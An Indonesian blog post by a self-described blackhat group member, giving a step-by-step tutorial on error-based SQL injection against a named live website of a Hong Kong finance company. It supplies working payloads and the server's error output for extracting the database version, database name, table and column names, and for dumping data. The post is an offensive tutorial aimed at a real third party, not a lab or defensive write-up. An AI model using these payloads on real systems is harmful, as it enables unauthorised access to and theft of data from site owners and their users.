SQL Injection Error Based

Halo teman-teman perkenalkan aku B4bbyGhost_ salah satu member Screams Blackhat. kali ini aku akan memberikan tutorial cara SQL Injection type Error Based.

oiya error based ini jarang banget ya, jadi kebanyakan yg ane temuin itu union based, jadi jarang banget yg ngasih chall error based untuk dork, kalian bisa menggunakan yg seperti dork sql sebelumnya.

Langsung saja ya kali ini aku udh ada live target ya :  http://bfinance.com.hk/subpage.php?id=17 
langsung saja kita inject, let's roll
kaya seperti biasanya awalan kita kasih ' di parameter nah klo error kaya gini
SQL Error:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'sc'' at line 1 SELECT * FROM webpage_content WHERE wc_id = '17'' AND wc_lang = 'sc' nah ini methodnya menggunakan error based, tapi biasanya masih bisa sih make union based, itu tergantung dari sononya.

ok lanjut kita perbaiki dulu errornya atau biasanya dinamakan balancing :v kita tambahkan -- - setelah petik jadi kek gini, misal: http://localhost/subcat.php?id=17'-- - nah maka web akan jadi normal kembali, sekarang lanjut. kita akan print version, nah bagaimana caranya?. kita make query ini :
+or+1+group+by+concat_ws(0x3a,version(),floor(rand(0)*2))+having+min(0)+or+1 contoh:
http://localhost/subcat.php?id=17'+or+1+group+by+concat_ws(0x3a,version(),floor(rand(0)*2))+having+min(0)+or+1-- -

dan sekarang muncul error seperti ini:
SQL Error: Duplicate entry '5.5.40-MariaDB:1' for key 'group_key' SELECT * FROM webpage_content WHERE wc_id = '17' OR 1 GROUP BY CONCAT_WS(0x3a,VERSION(),FLOOR(RAND(0)*2)) HAVING MIN(0) OR 1-- -' AND wc_lang = 'sc' nah dapat diketahui versi mysqlnya adalah 5.5.40-MariaDB sekarang kita lanjut print database, untuk database ini sedikit panjang querynya +and(select+1+from+(select+count(*),concat((select(select+concat(cast(database()+as+char),0x7e))+from+information_schema.tables+where+table_schema=database()+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)


dan sekarang muncul error seperti ini:
SQL Error:
Duplicate entry 'businessfinance~1' for key 'group_key'
SELECT *
FROM webpage_content
WHERE wc_id = '17' and(select 1 from
(select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -' AND wc_lang = 'sc'
nah sekarang kita tau nama databasenya adalah businessfinance.

sekarang kita lanjut buka databasenya make query : +AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=Namadatabase+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)

nah nama databasenya jan lupa di hex dulu yajadi kek gini nanti
+AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=<u>0x627573696e65737366696e616e6365</u>+LIMIT+15,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)

dan sekarang muncul muncul seperti ini
SQL Error:
Duplicate entry 'webpage_content~1' for key 'group_key' SELECT * FROM webpage_content WHERE wc_id = '17' AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(table_name AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x627573696e65737366696e616e6365 LIMIT 15,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)-- -' AND wc_lang = 'sc' 

dan nama tablenya adalah webpage_content dan sebenarnya masih banyak lagi sih

nah cara mengetahui table yang lain, kalian tinggal ubah angka setelah limit 0,1 itu ubah depannya saja ya yang di ubah jan belakangnya :v

+AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=Namadatabase+LIMIT+<u>0</u>,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)


nah sekarang kalian ubah angkanya sampe webnya nggak muncul error, nah pas ane ubah" ternyata tablenya sampe angka 15 aja jadi ada 15 table

skrng kita lanjut get column
make query ini :
+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(column_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name=namaTable+AND+table_schema=namaDatabase+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)


dan sekarang bakal muncul nama columnnya :v
dan skrng liat" nama columnnya dengan cara seperti sebelumnya 

dan skrng dump datanya
make query :
+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(nama column)+AS+CHAR),0x7e))+FROM+NamaDatabase.Table+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)

dan selesai sekian tutorial kali ini
jika ada salahnya saya mohon maaf karena saya juga masih pemula.
Tampilkan Komentar
Sembunyikan Komentar

0 Komentar

Posting Komentar

Iklan Atas Artikel

Iklan Tengah Artikel 1

Iklan Tengah Artikel 2

Iklan Bawah Artikel